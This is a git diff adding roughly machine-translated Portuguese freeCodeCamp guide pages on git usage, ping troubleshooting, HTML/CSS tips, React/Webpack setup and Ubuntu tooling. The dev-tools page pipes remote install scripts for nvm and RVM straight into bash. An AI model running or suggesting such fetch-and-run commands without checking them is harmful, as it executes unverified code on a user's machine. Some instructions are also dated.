+Você é um campista como eu, você faz um exercício e fica preso ... como qualquer outra pessoa. Você não tem ideia de como começar, olha para o seu editor e acha que precisa ter um problema, com certeza não é material de desenvolvedor… bem, você está errado! Talvez você seja igual a mim? Eu sou uma pessoa visual, gosto mais de um desenho do que de um texto. Toda vez que o mesmo problema colocado em um esquema faz mais sentido para mim do que se você me desse um texto. Então… o que eu faço quando tenho problemas para resolver / entender um exercício? Eu começo a desenhar. Depois que eu tenho o meu desenho no lugar, se eu precisar de mais para traduzi-lo para o código, também posso escrevê-lo no pseudocódigo. Depois disso, a transposição para o código não deve ser muito difícil.
+
+# Então, quais são esses fluxogramas (os desenhos) e pseudocódigo?
+
+Durante meu primeiro semestre na faculdade, tivemos um curso sobre introdução a algoritmos. Isto é onde nós aprendemos primeiramente sobre este material. Aprendemos que um bom algoritmo e uma boa programação lógica são desenvolvidos usando fluxogramas e pseudocódigo.
+
+Um **fluxograma** representa o fluxo do seu programa de cima para baixo. Cada comando é representado neste. Dependendo da natureza do comando, existem diferentes formas que você pode usar. Alguns deles que eu uso principalmente (você pode google mais sobre isso, o google é seu amigo quando você sabe o que procurar no google) são:
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b8b6b68e8b27f8d958b198613ada0a31a22df5ab.png)
+
+Mais informações sobre isso você pode encontrar aqui [https://en.wikipedia.org/wiki/Flowchart](https://en.wikipedia.org/wiki/Flowchart) .
+
+**O pseudocódigo** é uma linguagem informal que ajuda os desenvolvedores a escrever algoritmos. É uma ferramenta de design baseada em texto e usa uma linguagem legível por humanos. É um texto em inglês estruturado que descreve um algoritmo.
+
+Cada algoritmo no currículo Free Code Camp pode ser resolvido usando pseudocódigo e depois traduzido usando javascript em um código javascript funcional.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md b/client/src/guide/portuguese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
new file mode 100644
index 0000000000..0777ca87b5
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Stimulate Your Facebook Campsite
+localeTitle: Como estimular seu acampamento no Facebook
+---
+Uma ótima maneira de estimular seu grupo local é fazendo perguntas.
+
+**Você pode fazer perguntas como**
+
+*   O que todos estão trabalhando nesta semana?
+*   Como você abordou um desafio, um algoritmo, um projeto de front end e um projeto de back-end específicos?
+*   Alguém estaria interessado em se reunir para programar juntos esta semana?
+*   Todos ouviram sobre "inserir anúncio recente"
+*   Quais são algumas partes do campo de código livre que você gostaria de dar um foco adicional?
+
+**Você também pode fornecer links úteis para outros membros para recursos relevantes que você considera úteis.**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md b/client/src/guide/portuguese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
new file mode 100644
index 0000000000..3bd0afada5
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
@@ -0,0 +1,28 @@
+---
+title: How to Stream Live Coding on Freecodecamp
+localeTitle: Como fazer stream de codificação ao vivo no Freecodecamp
+---
+A transmissão ao vivo do seu código é uma experiência educacional e revigorante para o streamer e o público. Se você nunca viu codificação ao vivo, confira nosso [canal do Twitch](http://twitch.tv/freecodecamp) . Estamos procurando ativamente mais streamers de todos os níveis para codificar no canal FreeCodeCamp.
+
+**No momento, estamos nos afastando do uso do Twitch, atualizaremos esta página quando os detalhes forem finalizados.**
+
+## Por favor, siga estes passos para começar:
+
+1.  Obtenha seu computador configurado para transmitir. Este processo varia dependendo do seu sistema operacional e geralmente envolve o download de software para integração com o Twitch. A maioria dos usuários do Free Code Camp usa o [OBS](https://obsproject.com/) , mas você pode encontrar todo o software suportado no [site do Twitch](http://www.twitch.tv/broadcast) . Aqui está um [guia](https://medium.freecodecamp.com/setting-up-obs-for-live-coding-7-steps-99b8986e7249#.s8wdu73uu) útil sobre como configurar o OBS.
+    
+2.  Entre em contato com um [modilho](https://gitter.im/FreeCodeCamp/LiveCoding) por meio de [gitter](https://gitter.im/FreeCodeCamp/LiveCoding) . Eles ajudarão você a obter a chave de fluxo para configurar o Canal FreeCodeCamp.
+    
+3.  Divirta-se streaming!
+    
+
+## Regras gerais / diretrizes:
+
+*   Embora preferamos que você transmita JavaScript, HTML e CSS, você pode transmitir qualquer idioma desejado. Esteja ciente de que muitos de nossos espectadores são fluentes apenas com os idiomas e estruturas que o freecodecamp oferece.
+*   Linguagem e conteúdo devem ser seguros para o trabalho.
+*   Antes de fazer streaming, verifique o canal para ver se alguém já está [ativo e informe](https://gitter.im/FreeCodeCamp/LiveCoding) o seu plano para transmitir no [canal LiveCoding no gitter](https://gitter.im/FreeCodeCamp/LiveCoding) .
+*   Por favor, use uma webcam se você tiver uma - o público quer ver você!
+*   Use a sala de bate-papo quase como um programador de pares. Interaja o máximo possível e trabalhe em conjunto para obter melhores resultados.
+*   Pense o mais alto possível para que seus espectadores possam entender o que você está pensando e fazendo.
+*   Apenas música sem direitos autorais, por favor. Use o [Twitch Music](https://music.twitch.tv) como uma diretriz para a música que você pode e não pode usar.
+
+Por favor, entre em contato com um dos nossos mods na [sala de chat LiveCoding](https://gitter.im/FreeCodeCamp/LiveCoding) para começar hoje mesmo!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-undo-a-git-add/index.md b/client/src/guide/portuguese/miscellaneous/how-to-undo-a-git-add/index.md
new file mode 100644
index 0000000000..fd44e9dd3c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-undo-a-git-add/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Undo a Git Add
+localeTitle: Como desfazer um Add Git
+---
+# Desfazer git add
+
+Para desfazer o `git add` antes de um commit:
+
+Execute `git reset <file>` ou `git reset` para desassociar todas as mudanças.
+
+Em versões mais antigas do git, os comandos eram `git reset HEAD <file>` e `git reset HEAD` respectivamente. Isso foi mudado no Git 1.8.2
+
+[Fonte](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-use-git-rebase/index.md b/client/src/guide/portuguese/miscellaneous/how-to-use-git-rebase/index.md
new file mode 100644
index 0000000000..53655c01de
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-use-git-rebase/index.md
@@ -0,0 +1,53 @@
+---
+title: How to Use Git Rebase
+localeTitle: Como usar o Git Rebase
+---
+**Você foi encaminhado para esta página para receber o seu PR? Role para a direita para Git Rebase na FCC então!**
+
+`git rebase` é uma ferramenta extremamente útil que tem tudo a ver com a reescrita do git history, embora seja mais comumente usado para _esmagar_ vários commits em um. Embora útil neste cenário, esta não é a única função que o comando `git rebase` pode executar. Na verdade, ele se mostra muito mais útil quando usado para a função pretendida que seu nome sugere: essencialmente, _rebase_ uma ramificação. Deixe-me explicar o que quero dizer com isso.
+
+Vamos dizer que você tem um repositório como este:
+```
+                                                  --- Commit 5 ----------- auth branch 
+                                                / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+```
+
+Se você quisesse mesclar a ramificação `auth` com a ramificação `dev` , o git lançaria um erro em você porque sua ramificação de `auth` está desatualizada: ela não é responsável pela confirmação 4. Você precisará trazer sua ramificação para up-of-date. Até a presente data.
+
+O Git fornece dois métodos para isso: o comando `merge` e o comando `rebase` . Para uma exploração do comando `merge` , visite o artigo wiki relevante: [Git Merge](//forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+
+Vamos executar o `rebase` agora:
+```
+$ git checkout auth 
+ $ git rebase dev 
+```
+
+O repo agora ficará assim:
+```
+                                                                 --- Commit 5 --- auth branch 
+                                                               / 
+                                               --- Commit 4 --------------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 --------------------------------------- master branch 
+```
+
+Você vê o que aconteceu? Git essencialmente salvou os commits na ramificação `auth` , removeu-os e depois os criou novamente com os mesmos commits _após_ os commits no branch `dev` . Isso significa que o `Commit 4` só existe no ramo `dev` e não no branch `auth` ! E isso é realmente tudo que existe para isso! Isso pode parecer um pouco confuso no começo, mas tente entender o diagrama. Esta é uma ferramenta extremamente útil.
+
+## Git-Rebase na FCC
+
+### Evitando conflitos de mesclagem
+
+Se você contribuir para a base de código da FCC, ou estiver planejando fazer isso, sempre execute este comando antes de fazer qualquer alteração nos arquivos locais e enviá-los:
+
+`git pull --rebase upstream staging`
+
+Se você não tiver o `upstream` configurado, execute este comando antes de executar o comando acima (o git lançará um erro porque não sabe o que é o upstream): `git remote add upstream https://github.com/freecodecamp/freecodecamp.git`
+
+Isto irá puxar as últimas mudanças do ramo de preparo da FCC e rebase-las com o ramo de teste do seu garfo para que você não tenha nenhum conflito ao abrir o PR ![:slight_smile:](//forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=2 ": slight_smile:")
+
+### Squashing
+
+Se você tem vários commits que você quer esmagar em um, então siga as instruções para **[Squashing](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)** .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md b/client/src/guide/portuguese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
new file mode 100644
index 0000000000..02fb3c1f9b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
@@ -0,0 +1,27 @@
+---
+title: How You Can Get to Inbox Zero with Gmail
+localeTitle: Como você pode chegar ao Inbox Zero com o Gmail
+---
+> Esses atalhos do Gmail economizam horas e ajudam você a acessar o Inbox Zero.
+
+Veja [https://player.vimeo.com/video/115194016](https://player.vimeo.com/video/115194016)
+
+## Atalhos do Gmail
+
+atalho | descrição  
+\-------- | ----------:  
+j | abaixar  
+k | subir  
+o | aberto  
+r | resposta  
+a | responder todos  
+f | frente  
+c | compor  
+x | selecione  
+e | arquivo  
+! | marcar spam  
+z | desfazer
+
+# | \*excluir
+
+*   Isso pode não funcionar em alguns teclados do Mac da UE em que # é acessado com, `ALT + 3` . Solução alternativa [aqui](http://toodlepip.co.uk/2010/blog-2010-09-gmail-delete-key-shortcut-uk-apple-users/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/html-and-css-cheat-sheet/index.md b/client/src/guide/portuguese/miscellaneous/html-and-css-cheat-sheet/index.md
new file mode 100644
index 0000000000..070cda41a7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/html-and-css-cheat-sheet/index.md
@@ -0,0 +1,50 @@
+---
+title: HTML and CSS Cheat Sheet
+localeTitle: Cheat Sheet HTML e CSS
+---
+Esta é uma página que (esperançosamente) com o tempo irá crescer para cobrir as soluções básicas e simples de HTML e CSS.
+
+Por favor, adicione às suas soluções alternativas se você conhece uma maneira diferente.
+
+## Tornando uma regra horizontal `<hr>` menor
+
+```css
+    hr { 
+      width: 75%; 
+      margin-left: auto; 
+      margin-right: auto; 
+    } 
+```
+
+## Dar um plano de fundo sem rolagem `<div>`
+
+```css
+    #divName { 
+      padding-top: 50px; 
+      height: 500px; 
+      color: #fff; 
+      background-image: url("your_url.jpg"); 
+      background-repeat: no-repeat; 
+      background-attachment: fixed; 
+      background-size: 100%; 
+    } 
+```
+
+Experimente valores diferentes para ver como isso afeta a div e o over no html
+
+```html
+
+<div id="divName" class="container-fluid"> 
+```
+
+## Alinhamento vertical (para uma linha de texto)
+
+Isso pode ser útil em um menu de navegação CSS. A chave é fazer com que a altura do menu e a altura da linha do texto sejam as mesmas. `css .nav li{ line-height:50px; height:50px; }` Mais truques interessantes [podem ser encontrados aqui](https://www.webdesignerdepot.com/2016/10/20-essential-css-tricks-every-designer-should-know/)
+
+## Centralizar uma lista horizontal
+
+[http://csswizardry.com/2011/01/create-a-centred-horizontal-navigation/](http://csswizardry.com/2011/01/create-a-centred-horizontal-navigation/)
+
+## Seções e contornos de um documento HTML
+
+[https://developer.mozilla.org/pt-BR/docs/Web/Guide/HTML/Sections _e_ Outlines _de_ um documento _HTML5_](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/html-elements/index.md b/client/src/guide/portuguese/miscellaneous/html-elements/index.md
new file mode 100644
index 0000000000..3bb948a4d1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/html-elements/index.md
@@ -0,0 +1,15 @@
+---
+title: HTML Elements
+localeTitle: Elementos HTML
+---
+A maioria dos elementos HTML possui uma tag de abertura e uma tag de fechamento.
+
+As tags de abertura são assim: `<h1>` e tags de fechamento são assim: `</h1>` .
+
+Observe que a única diferença entre as tags de abertura e fechamento é que as tags de fechamento têm uma barra após o colchete angular de abertura.
+
+Existem também alguns elementos HTML que são de fechamento automático.
+
+Por exemplo, a tag de imagem `<img />` e a tag de `<input />` .
+
+[Experimente aqui!](http://www.freecodecamp.com/challenges/say-hello-to-html-elements)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/identify-basic-internet-problems-with-ping/index.md b/client/src/guide/portuguese/miscellaneous/identify-basic-internet-problems-with-ping/index.md
new file mode 100644
index 0000000000..b107cebeb8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/identify-basic-internet-problems-with-ping/index.md
@@ -0,0 +1,126 @@
+---
+title: Identify Basic Internet Problems with Ping
+localeTitle: Identificar problemas básicos da Internet com ping
+---
+![Tela Sonar](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b1bfc671722851eed4adfe2d4ec24eb9ab8a875b.png)
+
+Da próxima vez que ligar para o seu help desk, você quer impressioná-los com seu conhecimento de rede? Usar um comando chamado "ping", integrado em seu computador Mac, Windows ou Linux existente, ajudará a identificar problemas básicos de conexão. Ok, isso pode não ser o suficiente para "impressionar" os membros de sua equipe, mas eles perceberão que você iniciou o processo de depuração. E lembre-se de que sua equipe de suporte é especialista em depuração, portanto, siga suas instruções ao guiá-lo pela sequência de solução de problemas.
+
+## TL; DR:
+
+Você pode usar o comando `ping` incorporado em seu computador Mac OS X, Windows ou Linux para identificar problemas básicos de conectividade de rede. Isso pode ajudá-lo a resolver o problema e / ou obter informações valiosas de depuração como primeiro passo antes de chamar o suporte. Leia abaixo para obter detalhes sobre como iniciar uma janela de linha de comando e executar o `ping` em sua máquina com Mac OS X ou Windows.
+
+## O comando `ping` :
+
+O comando `ping` é uma maneira simples de verificar se outro computador pode receber informações de você. O autor original, [Mike Muuss](https://en.wikipedia.org/wiki/Mike_Muuss) , [nomeou o programa depois do som "ping"](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29#History) que um submarino envia para detectar objetos na água. Se um eco do ping volta, significa que há algo lá fora. Na verdade, o `ping` usa a " [Solicitação de Eco do Protocolo de Controle de Mensagens da Internet](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) " como parte de seu design de software subjacente.
+
+Em sua forma mais simples, o comando `ping` fornece duas informações valiosas, se a mensagem foi ecoada de volta ( `64 bytes from…` ) e quanto tempo leva para receber a mensagem de volta (por exemplo, `time=6.396 ms` ). Dependendo do tipo de computador que você está usando, você pode até obter um resumo contendo mínimo, máximo, média e mais. O tempo de resposta é mostrado em "ms", ou milissegundo, que é 1/1000 de segundo. Um tempo de resposta de 10 ms ou menos é bastante rápido, no entanto, os valores geralmente estão no intervalo de 100 ms. Muito acima de 200ms, você provavelmente notará que tem uma conexão lenta.
+
+## Quando tudo estiver bem:
+
+Esta é a aparência da minha resposta de `ping` no meu computador Mac OS X quando tudo está funcionando normalmente aqui na Malásia:
+```
+MacBook-Pro:~ ajm$ ping Google.com 
+ PING google.com (216.58.196.46): 56 data bytes 
+ 64 bytes from 216.58.196.46: icmp\_seq=0 ttl=55 time=6.396 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=1 ttl=55 time=6.368 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=2 ttl=55 time=26.773 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=3 ttl=55 time=6.984 ms 
+ ^C 
+ --- google.com ping statistics --- 
+ 4 packets transmitted, 4 packets received, 0.0% packet loss 
+ round-trip min/avg/max/stddev = 6.368/11.630/26.773/8.746 ms 
+```
+
+Esta é a aparência da minha resposta de `ping` em um computador Windows quando tudo está funcionando bem:
+```
+C:\Users\BJM>ping Google.com 
+ Pinging google.com [216.58.196.46] with 32 bytes of data: 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=15ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Ping statistics for 216.58.196.46: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milli-seconds: 
+    Minimum = 6ms, Maximum = 15ms, Average = 8ms 
+```
+
+Você pode ver nesses exemplos que a conexão é muito boa com tempos médios de resposta inferiores a 10 ms.
+
+### Quando algo está errado (três exemplos):
+
+Então, o que aconteceria se eu não conseguisse me conectar ao `Google.com` ? Por exemplo, \# 1 , simulei uma conexão de rede quebrada ao meu Mac desconectando meu roteador da parede e executei novamente o comando. A primeira coisa que noto é que leva _muito_ mais tempo para o comando responder:
+```
+MacBook-Pro:~ ajm$ ping google.com 
+ ping: cannot resolve google.com: Unknown host 
+ MacBook-Pro:~ ajm$ 
+```
+
+Ou, por exemplo, nº 2 , dependendo exatamente de como a conexão está falhando:
+```
+PING google.com (216.58.196.46): 56 data bytes 
+ Request timeout for icmp\_seq 0 
+ Request timeout for icmp\_seq 1 
+ Request timeout for icmp\_seq 2 
+ ^C 
+```
+
+E, às vezes, se tenho uma conexão particularmente esquisita, vejo uma mistura dessas mensagens. Por exemplo, \# 3 , posso simular isso conectando meu computador Mac a uma conexão Wi-Fi pública que fica do outro lado da rua:
+```
+PING google.com (216.58.196.206): 56 data bytes 
+ 64 bytes from 216.58.196.206: icmp\_seq=0 ttl=57 time=273.655 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=1 ttl=57 time=808.546 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=2 ttl=57 time=179.613 ms 
+ Request timeout for icmp\_seq 3 
+ Request timeout for icmp\_seq 4 
+ 64 bytes from 216.58.196.206: icmp\_seq=5 ttl=57 time=374.612 ms 
+ Request timeout for icmp\_seq 6 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 7 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 8 
+ ^C 
+```
+
+No primeiro teste, o `ping` me disse que minha máquina nem encontraria o endereço da Internet (IP `216.58.196.46` ) para o `Google.com` . No segundo teste, meu computador lembrou-se do endereço IP do Google, mas não conseguiu acessar os servidores do Google (Tempo `Request timeout` ). No terceiro teste, `sendto: No route to host` significa que o dispositivo de rede sabe onde os servidores do Google estão, mas algo ao longo do caminho digital está quebrado.
+
+## Usuários Mac: Como executar o comando `ping` :
+
+Em um Mac, você normalmente executa `ping` na linha de comando do terminal. Para iniciar o terminal, clique no ícone de lupa do OS X Spotlight no canto superior direito da área de trabalho:
+
+![Mac Spotlight](//discourse-user-assets.s3.amazonaws.com/original/2X/9/924e9346b5f92fe41127f6b3e403f454773edae9.png)
+
+Quando a janela de pesquisa aparecer, digite "terminal", selecione "Terminal - Utilitários" e clique duas vezes (ou pressione
+
+Retorna
+
+): ![Lançamento do Mac Terminal](//discourse-user-assets.s3.amazonaws.com/original/2X/9/976e1fb628c0d0bf2a6a9b57504305fd844716d4.png)
+
+Isso iniciará a janela de comando do terminal e você poderá inserir o comando `ping Google.com` mostrado nos meus exemplos: ![Linha de Comando Mac](//discourse-user-assets.s3.amazonaws.com/original/2X/0/05d1e4d360c14921f7bd7ab871358b956f1e7d03.png)
+
+**Importante Dica do Mac** : O comando `ping` será executado para sempre se você não disser para parar. Para fazer isso, pressione o
+
+`control`
+
+tecla (inferior direito no teclado) e
+
+`c`
+
+chave. Isso interromperá o teste com um Control-C ( `^C` ) e retornará o controle da linha de comando. Para o usuário do Windows, o comando será interrompido após algumas iterações.
+
+## Usuários do Windows: Como executar o comando `ping` :
+
+Abrir o Prompt de Comando difere entre as versões 10, 8.1, 8 e 7 do Windows; aqui está um ótimo guia em [Como Abrir o Prompt de Comando](http://pcsupport.about.com/od/commandlinereference/f/open-command-prompt.htm) . Em uma máquina com Windows 7, por exemplo, clique no ícone "Iniciar" do Windows inferior esquerdo, selecione "Prompt de comando" e clique duas vezes (ou pressione
+
+`enter`
+
+):
+
+![Win Terminal Launch](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4e0b18755930ad0d64e6e38763f0b96054fd76fb.png)
+
+Isso iniciará a janela de comando e você poderá inserir o comando `ping Google.com` mostrado nos exemplos:
+
+![Win Command Line](//discourse-user-assets.s3.amazonaws.com/original/2X/9/94d8ed91d29574497ad0f2eb2cd235050132851e.png)
+
+Agora que você sabe como usar o comando `ping` , você pode fazer uma solução básica de problemas na sua conexão de rede. Com um pouco de criatividade, você pode trabalhar com seu pessoal de suporte de TI local ou conhecer sua topologia de rede e endereço IP (por exemplo, `ping` no roteador, `ping` seu ISP) para identificar problemas de rede.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md b/client/src/guide/portuguese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
new file mode 100644
index 0000000000..8deb30c493
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
@@ -0,0 +1,23 @@
+---
+title: Improve Existing Pull Request by Another Contributor
+localeTitle: Melhorar a solicitação de retirada existente por outro contribuinte
+---
+Como pegar o PR de alguém e fazer o seu próprio baseado nele enquanto mantém o commit:
+
+1.  Faça um novo ramo, de preferência com o PR # do original.
+
+`git checkout -b pr/xyz`
+
+1.  Puxe as alterações para ele.
+
+`git pull git://github.com/rafase282/wiki.git update/pr-guide`
+
+Isso basicamente significa extrair do repositório **Rafase282 / wiki** , branch **update / pr / guide** para sua ramificação atual **pr / xyz** .
+
+1.  Faça suas alterações, adicione, confirme, envie. Se você precisar de squash, mantenha o commit do contribuidor original intocado.
+
+**Nota** : Pode ser necessário forçar push `git push -f origin pr/xyz`
+
+1.  Crie seu PR e na descrição faça para fechar o PR original com `closes #xyz`
+
+Isso deve fazer uma nova solicitação pull com as alterações originais, além da sua própria, em uma nova solicitação pull que fará referência e fechará automaticamente a original quando for mesclada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/index.md b/client/src/guide/portuguese/miscellaneous/index.md
new file mode 100644
index 0000000000..f464f4c20f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/index.md
@@ -0,0 +1,7 @@
+---
+title: Miscellaneous
+localeTitle: Diversos
+---
+## Diversos
+
+Esta seção contém uma tonelada de artigos que serão eventualmente recategorizados, conforme o freeCodeCamp Guide cresce com o tempo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/initializing-the-react-project-with-webpack/index.md b/client/src/guide/portuguese/miscellaneous/initializing-the-react-project-with-webpack/index.md
new file mode 100644
index 0000000000..6f7e3bbc0b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/initializing-the-react-project-with-webpack/index.md
@@ -0,0 +1,54 @@
+---
+title: Initializing the React Project with Webpack
+localeTitle: Inicializando o Projeto Reagir com o Webpack
+---
+A primeira coisa a fazer é abrir nosso terminal / linha de comando. Precisamos instalar o Webpack e o Webpack Dev Server globalmente.
+
+*   [Ajuda: Mais sobre a instalação de módulos de nó globalmente](https://docs.npmjs.com/getting-started/installing-npm-packages-globally)
+    
+    npm instalar webpack webpack-dev-server -g
+    
+
+Instalar esses módulos globalmente significa que podemos nos referir a usar suas respectivas interfaces de linha de comando no terminal. A instalação do Webpack nos permite executar o `webpack` partir do terminal para executar um script do Webpack. A instalação do Webpack Dev Server nos permite executar um servidor localhost usando nossa configuração de Webpack. Isso tudo ficará claro um pouco mais tarde.
+
+Em seu diretório de escolha, crie um novo diretório, por exemplo `react-webpack-example` , e altere o diretório para ele:
+```
+mkdir react-webpack-example && cd $_ 
+```
+
+Agora que estamos em nosso novo diretório, precisamos criar nosso arquivo Webpack, que ficará na raiz. Este é um arquivo de configuração e, portanto, chamamos de `webpack.config.js` .
+```
+touch webpack.config.js 
+```
+
+Agora, podemos prosseguir e [inicializar um projeto npm](https://docs.npmjs.com/cli/init) usando o seguinte comando:
+```
+npm init 
+```
+
+Podemos seguir em frente e pressionar a tecla Enter para percorrer as opções apresentadas para nós no terminal.
+
+O comando `npm init` criará um arquivo `package.json` , que conterá dados importantes sobre o nosso projeto.
+
+Até agora, essa é a aparência da nossa árvore:
+```
+. 
+ ├── package.json 
+ └── webpack.config.js 
+```
+
+Se você abrir seu arquivo `package.json` , deverá ver algo assim:
+```
+{ 
+  "name": "react-webpack-example", 
+  "version": "1.0.0", 
+  "description": "", 
+  "main": "webpack.config.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "author": "", 
+  "license": "ISC" 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md b/client/src/guide/portuguese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
new file mode 100644
index 0000000000..dd6279a2ea
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
@@ -0,0 +1,28 @@
+---
+title: Installing Dependencies for React with Webpack Projects
+localeTitle: Instalando Dependências para Reagir com Projetos Webpack
+---
+Agora que temos um arquivo de configuração Webpack vazio ( `webpack.config.js` ) e um arquivo de pacote recém-criado ( `package.json` ), precisamos instalar algumas dependências. Instalar dependências adiciona automaticamente alguns dados ao nosso `package.json` .
+
+Este projeto dependerá do React, ReactDOM, Webpack e Webpack Dev Server. Também dependerá de vários pacotes do Babel, porque vamos escrever código usando o ES6, e o [Babel é um transpiler do ES6](https://babeljs.io/) .
+
+As dependências que precisamos em detalhes:
+
+| Pacote | Razão |  
+| [Reagir](https://www.npmjs.com/package/react) | 'Um pacote npm para obter acesso imediato ao React, sem exigir também o transformador JSX.' |  
+| [Reagir DOM](https://www.npmjs.com/package/react-dom) | 'Este pacote serve como ponto de entrada dos caminhos de renderização relacionados ao DOM. Pretende ser emparelhado com o React isomórfico, que será enviado como reagir a npm '. |  
+| [Webpack](https://www.npmjs.com/package/webpack) | "Permite dividir sua base de código em vários pacotes, que podem ser carregados sob demanda." |  
+| [Webpack Dev Server](https://www.npmjs.com/package/webpack-dev-server) | 'Serve um aplicativo de webpack. Atualiza o navegador nas alterações. ' |  
+| [Carregador de Babel](https://www.npmjs.com/package/babel-loader) | 'Carregador do módulo Babel para o Webpack.' |  
+| Babel Core | Necessário para o Babel Loader. |  
+| Babel Preset: ES2015 | Necessário para o Babel Loader. |  
+| Babel Preset: Reagir | Necessário para o Babel Loader. |
+
+Podemos ir em frente e instalar todos esses módulos com um único comando:
+```
+npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react 
+```
+
+Se olharmos para o nosso arquivo `package.json` agora, `devDependencies` que nossas `devDependencies` se tornaram uma lista dos pacotes de nós que acabamos de instalar. Isso é importante porque significa que podemos instalá-los novamente se precisarmos usar o `npm install` .
+
+*   [Ajuda: Mais sobre `dependencies` e `devDependencies`](http://stackoverflow.com/a/22004559/4637110)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md b/client/src/guide/portuguese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
new file mode 100644
index 0000000000..43ca212c0a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
@@ -0,0 +1,47 @@
+---
+title: Installing Devtools and Modern Web Browsers
+localeTitle: Instalando Devtools e navegadores da Web modernos
+---
+Nós mostramos-lhe como instalar várias linguagens de programação, devtools e navegadores web no Ubuntu.
+
+## Ferramentas amplamente utilizadas:
+
+### Git
+```
+sudo apt-get install git 
+```
+
+### Nó JS
+```
+curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.31.0/install.sh | bash 
+ nvm install stable 
+```
+
+### Rubi
+```
+curl -sSL https://get.rvm.io | bash -s stable 
+ rvm install 2.3.1 
+```
+
+### Python
+
+`Python 2` e o `Python 3` vêm pré-instalados no Ubuntu Desktop.
+
+### Navegadores da Web modernos
+
+Os navegadores mais populares usados ​​pelos desenvolvedores são o [Chrome](https://www.google.com/chrome/) / [Chromium](https://www.chromium.org/) e o [Firefox Developer Edition](https://www.mozilla.org/firefox/developer/) .
+
+**Instalando o Chromium:**
+```
+sudo apt-get install chromium-browser 
+```
+
+**Instalando o Firefox Developer Edition:**
+```
+sudo add-apt-repository ppa:ubuntu-mozilla-daily/firefox-aurora 
+ sudo apt-get update 
+ sudo apt-get install firefox 
+```
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
